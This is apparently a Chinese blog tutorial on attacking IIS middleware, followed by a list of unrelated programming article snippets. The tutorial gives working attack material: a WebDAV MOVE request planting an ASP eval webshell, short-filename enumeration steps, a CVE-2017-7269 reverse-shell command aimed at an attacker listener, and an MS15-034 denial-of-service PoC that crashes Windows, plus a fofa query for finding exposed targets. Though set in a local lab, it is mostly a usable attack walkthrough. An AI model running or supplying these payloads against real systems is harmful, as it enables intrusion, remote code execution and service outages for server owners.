当前位置：首页 > news >正文

中间件框架漏洞攻略

news 来源：原创 2025/7/15 10:12:05

中间件（英语：Middleware）是提供系统软件和应⽤软件之间连接的软件，以便于软件各部件之间的沟通。

中间件处在操作系统和更⾼⼀级应⽤程序之间。他充当的功能是：将应⽤程序运⾏环境与操作系统隔离，从⽽实现应⽤程序开发者不必为更多系统问题忧虑，⽽直接关注该应⽤程序在解决问题上的能⼒。容器就是中间件的⼀种。

也就是说，关于中间件，我们可以理解为：是⼀类能够为⼀种或多种应⽤程序合作互通、资源共享，同时还能够为该应⽤程序提供相关的服务的软件。（注意：中间件是⼀类软件的总称，不是单独的⼀个软件）。

IIS（IIS6.x）

PUT漏洞

IIS Server 在 Web 服务扩展中开启了 WebDAV ，配置了可以写⼊的权限，造成任意⽂件上传。

环境

fofa："IIS-6.0"

本地搭建2003 server

开启 WebDAV 和写权限

打开网址，直接抓包

发送重放器，修改代码

MOVE /1.txt HTTP/1.1
Host:192.168.80.132
Destination:http://192.168.80.132/shell.asp
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Length: 25

<%eval request("cmd")%>

发送后生成shell.jsp

可以使用http://192.168.80.132/shell.asp访问

使用菜⼑，蚁剑连接即可

IIS短⽂件漏洞

开启IIS6.0 ASP.NET

Windows 以 8.3 格式⽣成与 MS-DOS 兼容的（短）⽂件名，以允许基于 MS-DOS 或 16位 Windows的程序访问这些⽂件。在cmd下输⼊"dir /x"即可看到短⽂件名的效果

创建1223213113.txt

访问：http://upload.moonteam.com/*~1*/a.asp 开始尝试

之后一位一位试就可以了，出现无法找到该页，为正确

尝试后缀名

之后一位一位试就可以了，出现无法找到该页，为正确

IIS RCE-CVE-2017-7269

Microsoft windows Server 2003 R2中的 Interne信息服务IIS6.0中的 WebDAV服务中的 ScStoragePathFromUrl函数中的缓冲区溢出允许远程攻击者通过以 If:<http:// 开头的⻓标头执⾏任意代码 PROPFIND请求

WiNdows Server 2003 R2上使⽤IIS6.0并开启 WebDAV扩展。

利⽤⼯具

https://github.com/g0rx/iis6-exploit-2017-CVE-2017-7269

反弹shell

将工具放到kali

python2 '/home/kali/Desktop/iis6 reverse shell' 192.168.80.132 80 192.168.80.129 6666

IIS (llS7.x)

HTTP.SYS远程代码执⾏(MS15-034) MS-->Microsoft 2015 -034

HTTP SYS是Microsoft Windows处理HTTP请求的内核驱动程序，为了优化IIS服务器性能，从IIS6.0引⼊，IIS服务进程依赖HTTP.SY

HTTP.SYS远程代码执⾏漏洞实质是HTTP.SYS的整数溢出漏洞，当攻击者向受影响的 Windows系统发送特殊设计的HTTP 请求，HTTP.sys 未正确分析时就会导致此漏洞，成功利⽤此漏洞的攻击者可以在系统帐户的上下⽂中执⾏任意代码。

主要存在Windows+IIS的环境下，任何安装了微软IIS 6.0以上的Windows Server 2008 R2/Server 2012/Server 2012 R2以及Windows 7/8/8.1操作系统都受到这个漏洞的影响验证这个漏洞。

环境

windows server 2012 IIS8.5

在主页面右击，点击复制图片链接（后面用）

使用工具

下载： https://github.com/davidjura/MS15-034-IIS-Active-DoS-Exploit-PoC

python IISDoS.py

返回window后出现蓝屏

相关文章：

中间件框架漏洞攻略

中间件（英语：Middleware）是提供系统软件和应⽤软件之间连接的软件，以便于软件各部件之间的沟通。中间件处在操作系统和更⾼⼀级应⽤程序之间。他充当的功能是：将应⽤程序运⾏环境与操作系统隔离，从⽽实…...

编程日记 2025/7/15 10:12:05

在 Ubuntu 上安装 Docker 的完整指南

1. 卸载旧版本（如有）在安装新版本前，建议先卸载旧版本： sudo apt remove docker docker-engine docker.io containerd runc 2. 安装依赖包更新软件包索引并安装必要的依赖： sudo apt update sudo apt install -y ca-certificates curl gnupg lsb-release 3. 添加 Do…...

编程日记 2025/7/15 9:48:12

Another Redis Desktop Manager下载安装使用

🤟致敬读者 🟩感谢阅读🟦笑口常开🟪生日快乐⬛早点睡觉 📘博主相关 🟧博主信息🟨博客首页🟫专栏推荐🟥活动信息文章目录 Another Redis Desktop Manager下载安装使用…...

编程日记 2025/7/15 9:49:08

GitLab 中文版17.10正式发布，27项重点功能解读【一】

GitLab 是一个全球知名的一体化 DevOps 平台，很多人都通过私有化部署 GitLab 来进行源代码托管。极狐GitLab 是 GitLab 在中国的发行版，专门为中国程序员服务。可以一键式部署极狐GitLab。学习极狐GitLab 的相关资料： 极狐GitLab 官网极狐…...

编程日记 2025/7/15 1:23:12

mysql慢查询日志

在 MySQL 中，慢查询日志（Slow Query Log）用于记录执行时间超过指定阈值的 SQL 语句。通过分析慢查询日志，可以优化数据库性能。以下是查看和配置 MySQL 慢查询日志的详细步骤： 1. 检查慢查询日志是否已启用登录 MySQ…...

编程日记 2025/7/15 9:43:10

unity 截图并且展现在UI中

using UnityEngine; using UnityEngine.UI; using System.IO; using System.Collections.Generic; using System; using System.Collections;public class ScreenshotManager : MonoBehaviour {[Header("UI 设置")]public RawImage latestScreenshotDisplay; // 显示…...

编程日记 2025/7/9 5:09:22

Linux上位机开发实践（MPP平台的核心构成）

【声明：版权所有，欢迎转载，请勿用于商业用途。联系信箱：feixiaoxing 163.com】芯片行业是一个赢者通吃的行业。也就是说细分领域的前两名，相比较后来者而言，拥有很多无可比拟的优势。以安防市场的soc来说…...

编程日记 2025/7/15 5:22:25

Hosts文件与DNS的关系：原理、应用场景与安全风险

目录引言 Hosts文件与DNS的基本概念 2.1 什么是Hosts文件？ 2.2 什么是DNS？ Hosts文件与DNS的关系 Hosts文件的应用场景 4.1 本地开发与测试 4.2 屏蔽广告与恶意网站 4.3 绕过DNS污染或劫持 Hosts文件的优势 5.1 解析速度快 5.2 不受DNS缓存影…...

编程日记 2025/7/10 7:22:04

Stable Diffusion vue本地api接口对接，模型切换, ai功能集成开源项目 ollama-chat-ui-vue

1.开启Stable Diffusion的api服务编辑webui-user.bat 添加 –api 开启api服务，然后保存启动就可以了 2.api 文档地址 http://127.0.0.1:7860/docs3. 文生图接口地址 /sdapi/v1/txt2img //post 请求入参 {enable_hr: false, // 开启高清hrdenoising_stre…...

编程日记 2025/7/9 16:20:30

【含文档+源码】基于SpringBoot的过滤协同算法之网上服装商城设计与实现

项目介绍本课程演示的是一款基于SpringBoot的过滤协同算法之网上服装商城设计与实现，主要针对计算机相关专业的正在做毕设的学生与需要项目实战练习的 Java 学习者。 1.包含：项目源码、项目文档、数据库脚本、软件工具等所有资料 2.带你从零开始部署…...

编程日记 2025/7/15 9:36:29

优化 Docker 构建之方法（Methods for Optimizing Docker Construction）

优化 Docker 构建之方法优化 Docker 构建不仅是为了提高效率，它还是降低部署成本、确保安全性和保持跨环境一致性的有效方法。每个层、依赖项和配置选择都会影响镜像的大小、安全性和可维护性。大型镜像部署速度较慢且消耗更多资源，这会增加成本&#…...

编程日记 2025/7/15 9:52:30

谈谈空间复杂度考量，特别是递归调用栈空间消耗？

空间复杂度考量是算法设计的核心要素之一，递归调用栈的消耗问题在前端领域尤为突出。以下结合真实开发场景进行深度解析： 一、递归调用栈的典型问题 1. 深层次DOM遍历的陷阱 // 危险操作：递归遍历未知层级的DOM树 function countDOMNode…...

编程日记 2025/7/15 10:00:33

四川省汽车加气站操作工备考题库及答案分享

1.按压力容器的设计压力分为（ ）个压力等级。 A. 三 B. 四 C. 五 D. 六答案：B。解析：按压力容器的设计压力分为低压、中压、高压、超高压四个压力等级。 2.缓冲罐的安装位置在天然气压缩机（ ）。 A. 出口处 …...

编程日记 2025/7/15 9:19:31

《探秘SQL的BETWEEN：解锁数据范围查询的深度奥秘》

在数据的广袤宇宙中，结构化查询语言（SQL）宛如一座精密的导航系统，引导我们穿越数据的浩瀚星河，精准定位所需信息。其中，BETWEEN作为SQL的关键工具之一，以其独特的能力，在数据的海洋里…...

编程日记 2025/7/15 4:58:58

AppArmor 使用说明

目录一：AppArmor 功能介绍二：AppArmor 配置介绍1、AppArmor 配置文件存放路径2、AppArmor 配置文件命名规则三： AppArmor 工作模式1、AppArmor 两种工作模式2、查看当前进程的工作模式3、给指定进程切换工作模式4、重新加载配置文件生效四…...

编程日记 2025/7/11 14:48:59

Linux的一些常见指令

一、ls指令语法： ls (选项) 功能： ls可以查看当前目录下的所有文件和目录。常用选项： -a:列出目录下的所有文件，包括以点（.）开头的隐含文件。-d:将目录像文件一样显示，不显示其下的文件。…...

编程日记 2025/7/15 9:39:57

MATLAB中getfield函数用法

目录语法说明示例访问标量结构体的字段嵌套结构体的字段结构体数组元素的字段嵌套结构体数组的索引字段的元素 getfield函数的功能是结构体数组字段。语法 value getfield(S,field) value getfield(S,field1,...,fieldN) value getfield(S,idx,field1,..…...

编程日记 2025/7/15 8:58:07

算法｜河马优化算法原理，公式，应用，算法改进及研究综述，matlab代码

以下是关于河马优化算法（Hippopotamus Optimization Algorithm, HO）的完整综述，包含原理、公式、应用场景、改进方向及可直接运行的 Matlab 完整代码。一、算法原理河马优化算法（HO）由Amiri等人于2024年提出，是受河马群体行为启发的元启发式算法，其核心基于以下三阶段行…...

编程日记 2025/7/15 9:34:18

Oracle到MySQL实时数据互通：透明网关跨库查询终极方案

技术架构概述节点类型IP示例Oracle数据库172.18.0.11透明网关节点192.168.5.20MySQL数据库10.10.8.100 提示：透明网关支持部署在Oracle服务器实现集中式管理一、MySQL环境准备 1. ODBC驱动部署从MySQL官网获取对应版本的ODBC驱动： # 企业版推荐使…...

编程日记 2025/7/15 10:07:38

BAPLIE船图文件：EDI 核心字段与应用场景解析

BAPLIE（Bay Plan/Stowage Plan Occupied and Empty Locations Message）作为EDIFACT国际报文标准（D96A版本）的核心成员，是集装箱海运领域实现船舶配载数字化的关键工具。其通过结构化数据精确描述集装箱在船舶上的物理位…...

编程日记 2025/7/15 9:58:04

C#中获取字节数据的高字节和低字节

字节顺序(Endianness)： 1.小端序(Little-Endian)：低字节在前（x86架构） 2.大端序(Big-Endian)：高字节在前（网络字节序） 特性小端序（Little-Endian）大端序（B…...

编程日记 2025/7/11 23:30:43

26考研——查找_树形查找_二叉排序树（BST）（7）

408答疑文章目录三、树形查找二叉排序树（BST）二叉排序树中结点值之间的关系二叉树形查找二叉排序树的查找过程示例向二叉排序树中插入结点插入过程示例构造二叉排序树的过程构造示例二叉排序树中删除结点的操作情况一：被删除结点是叶结点…...

编程日记 2025/7/11 8:11:17

OpenCV图像拼接（5）图像拼接模块的用于创建权重图函数createWeightMap()

操作系统：ubuntu22.04 OpenCV版本：OpenCV4.9 IDE:Visual Studio Code 编程语言：C11 算法描述 cv::detail::createWeightMap 是 OpenCV 库中用于图像拼接模块的一个函数，主要用于创建权重图。这个权重图在图像拼接过程中扮演着重…...

编程日记 2025/7/13 19:00:19

【Unity】鼠标拖动物体移动速度跟不上鼠标，会掉落

错误示范： 一开始把移动的代码写到update里去了，发现物体老是掉(总之移动非常不流畅，体验感很差） void Update(){Ray ray Camera.main.ScreenPointToRay(Input.mousePosition);if (Physics.Raycast(ray, out RaycastHit hit, M…...

编程日记 2025/7/15 1:34:23

docker网桥问题导致ldap组件安装失败分析解决

使用pass_install_x86_64_0124版部署k8s底座、kem； 问题：一台kem节点部署ldap组件失败解决：恢复问题主机的docker0网卡，重新部署kem相关组件二、问题详情现象描述 ansible部署kem组件 TASK [kem : start ldap] **********…...

编程日记 2025/7/8 10:53:57

如何保障kafka的数据不会重复消费呢，如何防止漏掉呢

在 Kafka 中保障数据不重复消费且不丢失，需要从生产者、消费者和 Kafka 自身配置三个层面综合设计。以下是具体实现方案： 一、防止数据重复消费 1. 消费者端控制手动提交 Offset 禁用自动提交（enable.auto.commitfalse）&#x…...

编程日记 2025/7/15 1:34:36

mac vim命令快捷键

目录移动光标插入模式复制/粘贴删除搜索/替换退出移动光标快捷键说明0 / ^跳到行首，移动到光标所在行的"行首"$跳到行末，移动到光标所在行的"行尾"gg跳到文件第一行G移动到文章的最后[n]G跳到第n行w光标跳到下个字的开头e光标跳…...

编程日记 2025/7/11 14:11:41

【01】噩梦终结flutter配安卓android鸿蒙harmonyOS 以及next调试环境配鸿蒙和ios真机调试环境-flutter项目安卓环境配置

噩梦终结：Flutter 配安卓、鸿蒙、iOS 真机调试环境问题背景很多开发者在配置 Flutter 项目环境时遇到困难，尤其是在处理 Android、鸿蒙和 iOS 真机调试环境时。卓伊凡最近接手了一个项目，发现很多“专业程序员”在环境搭建上花费了大量时…...

编程日记 2025/7/11 8:57:21

React 中React.memo的作用，如何利用它进行组件性能优化？

大白话React 中React.memo的作用，如何利用它进行组件性能优化？ React.memo 是啥玩意儿在 React 里，组件渲染是很频繁的事儿。每次父组件状态变了，子组件就可能会重新渲染，哪怕子组件的 props 压根儿没变化。这就好比…...

编程日记 2025/7/10 18:02:03

Python实现图片文字识别-OCR

PaddleOCR是由百度飞桨（PaddlePaddle）团队开发的OCR工具库，它包含超轻量级的中文OCR模型，支持多种语言和复杂情况下的文字识别。 pip install paddlepaddle paddleocr使用：已知我的图片是 img.png from paddleocr imp…...

编程日记 2025/7/15 9:14:26

MCP Server 实现一个天气查询

Step1. 环境配置安装 uv curl -LsSf https://astral.sh/uv/install.sh | shQuestion: 什么是 uv 呢和 conda 比有什么区别？ Answer: 一个用 Rust 编写的超快速 (100x) Python 包管理器和环境管理工具，由 Astral 开发。定位为 pip 和 venv 的替代品…...

编程日记 2025/7/12 1:43:09

第38周：文献阅读

目录摘要 Abstract 文献阅读问题引入研究背景研究意义研究目的相关工作自回归循环网络基于 GAN 的序列生成方法时间序列表示学习创新点提出模型基本原理代码实现实验研究实验1——基准和评估实验2——不同类型的时间序列数据实验3——…...

编程日记 2025/7/12 6:47:31

CD19.【C++ Dev】类和对象(10) 日期类对象的成员函数(日期+天数)

目录日期天数需要考虑的几个问题 1.天数加在日上,有可能会溢出,需要进位 2.对月进位,也有可能导致月会溢出,需要进位 3.对年进位,需要考虑是否为闰年代码设计取得指定月的天数GetMonthDay函数方法1:if判断或switch/case 方法2:查表版本1 版本2 operator 初始…...

编程日记 2025/7/11 19:49:50

Linux安装MySQL数据库并使用C语言进行数据库开发

目录一、前言二、安装VMware运行Ubuntu 1.安装VMware 2.使用VMware打开Ubuntu 三、配置VMware使用网卡 1.添加NAT网卡四、Linux下安装MySQL数据库五、安装MySQL开发库六、演示代码 sql_connect.c sql_connect.h main.c中数据库相关代码结尾一、前言由于最…...

编程日记 2025/7/9 1:35:48

GStreamer —— 3.1、Qt+GStreamer制作多功能播放器，支持本地mp4文件、rtsp流、usb摄像头等（可跨平台，附源码）

🔔 GStreamer 相关音视频技术、疑难杂症文章合集（掌握后可自封大侠 ⓿_⓿）（记得收藏，持续更新中…）运行效果...

编程日记 2025/6/28 1:38:51

如何在根据名称或id找到json里的节点以及对应的所有的父节点？

函数如下： 数据如下： [{ "name": "数据看板", "id": "data", "pageName": "tableeauData", "list": [] }, { "name": "审计模块", "id": &quo…...

编程日记 2025/7/8 2:02:14

IP第一次笔记

一、TCP协议第0步：如果浏览器和host文件存在域名对应的P地址记录关系则直接封装HTTP数据报文，如果没有记录则触发DNS解析获取目标域名对应的P地址第一步：终端主机想服务器发起TCP三次握手 1.TCP的三次握手 2.传输网页数据 HTTP --应用层…...

编程日记 2025/7/5 22:06:04

手机硬件检测详解：从版本信息到相机功能的全面指南

手机硬件检测概述接下来，我们将为您提供一份详尽的手机硬件检测指南，涵盖三十项关键内容，助您轻松掌握手机硬件的检测技巧。对于开发者而言，在测试手机硬件性能时，可以结合使用克魔开发助手（Keymob&#…...

编程日记 2025/7/12 17:46:52

大数据学习（86）-Zookeeper去中心化调度

🍋🍋大数据学习🍋🍋 🔥系列专栏： 👑哲学语录: 用力所能及，改变世界。 💖如果觉得博主的文章还不错的话，请点赞👍收藏⭐️留言📝支持一…...

编程日记 2025/7/11 16:17:42

05-SpringBoot3入门-整合SpringMVC（配置静态资源、拦截器）

1、说明在01-SpringBoot3入门-第一个项目-CSDN博客中，其实就已经整合了SpringMVC。下面讲解怎么配置静态资源和拦截器 2、配置静态资源命名：static（文件夹） 位置：src/main/resources 编写一个html文件访问 http:/…...

编程日记 2025/7/15 1:14:31

大数据学习（88）-zookeeper实现的高可用(HA)

🍋🍋大数据学习🍋🍋 🔥系列专栏： 👑哲学语录: 用力所能及，改变世界。 💖如果觉得博主的文章还不错的话，请点赞👍收藏⭐️留言📝支持一…...

编程日记 2025/7/10 23:18:45

自然语言处理（5）—— 中文分词

中文分词的基本原理及实现 1. 什么是词2. 基本原理3. 发展趋势：多数场景无需显式分词信息处理的目标是使用计算机能够理解和产生自然语言。而自然语言理解和产生的前提是对语言能够做出全面的解析。汉语词汇是语言中能够独立运用的最小的语言单位，是语…...

编程日记 2025/7/14 17:29:15

MP4音视频格式

1.MP4 MP4是一种用于封装音视频/字幕/图片/章节信息等数据的多媒体容器格式，是MPEG-4系列的成员之一 2.文件结构 MP4由一层层的嵌套Box（atom）组成 [ size (4 bytes) ][ type (4 bytes)][ payload (嵌套box或者数据) ] 3.常见Box 类型名称…...

编程日记 2025/7/14 21:55:09

NO.59十六届蓝桥杯备战|基础算法-前缀和|一维前缀和|最大子段和|二维前缀和|激光炸弹(C++)

前缀和与差分的核⼼思想是预处理，可以在暴⼒枚举的过程中，快速给出查询的结果，从⽽优化时间复杂度。是经典的⽤空间替换时间的做法前缀和解法1：暴力模拟，q有几次，就套几次for循环解法2：前…...

编程日记 2025/7/7 22:22:56

Node.js 模块加载机制--详解

目录 Node.js 模块加载机制详解 1. 什么是模块？ 2. 模块加载顺序 3. 核心模块加载 4. 自定义模块加载 5. 目录作为模块（index.js） 6. require.resolve() 查找模块路径 7. module 对象解析 8. require.cache 机制（避免重复…...

编程日记 2025/7/5 23:38:44

Live555+Windows+MSys2 编译Androidso库和运行使用（三，实战篇）

文章目录先上效果图VLC中打开日志权限cmakelist 和gradle建议直接去git查看源代码ui下一篇视频预览和采集先上效果图 VLC中打开日志 com.mq.qrtspclient E mystream stream, from the file /storage/emulated/0/Android/data/com.mq.qrtspclient/files/…...

编程日记 2025/7/3 13:05:54

验证码通过“Canvas 绘制”与“Base64 图片”渲染两种不同的实现方式显示

文章目录 🎉验证码通过“Canvas 绘制”与“Base64 图片”渲染两种不同的实现方式显示一、Canvas 绘制：接口回调“字符串”通过绘制的方式显示到前端✨1、前端代码（Canvas 绘制）：包含验证码区域、绘制验证码方法&#x…...

编程日记 2025/7/14 1:46:43

FALL靶场通关攻略

1，下载好靶机后打开，通过kali扫描靶机ip和端口，得到靶机ip为192.168.50.144 2，扫描目录 3，访问靶机 4，访问扫描到的test.php,得到缺少GET请求参数的提示 5，使用FUZZ来扫出参数为file 6&#xff…...

编程日记 2025/7/11 7:25:07

(学习总结31)Linux 进程地址空间与进程控制

Linux 进程地址空间与进程控制进程地址空间Linux 进程地址空间分布虚拟地址空间和页表创建子进程与写时拷贝权限访问缺页中断 Linux 虚拟内存管理mm_struct 内存描述符区域划分vm_area_struct 独立虚拟内存区域虚拟地址空间的作用进程控制进程创建fork 函数介绍写时拷贝作用…...

编程日记 2025/7/10 13:27:01

基于Springboot的网上订餐系统【源码】+【PPT】+【开题报告】+【论文】

网上订餐系统是一个基于Java语言和Spring Boot框架开发的Web应用，旨在为用户和管理员提供一个便捷的订餐平台。该系统通过简化餐饮订购和管理流程，为用户提供快速、高效的在线订餐体验，同时也为管理员提供完善的后台管理功能，帮助…...

编程日记 2025/7/14 6:55:55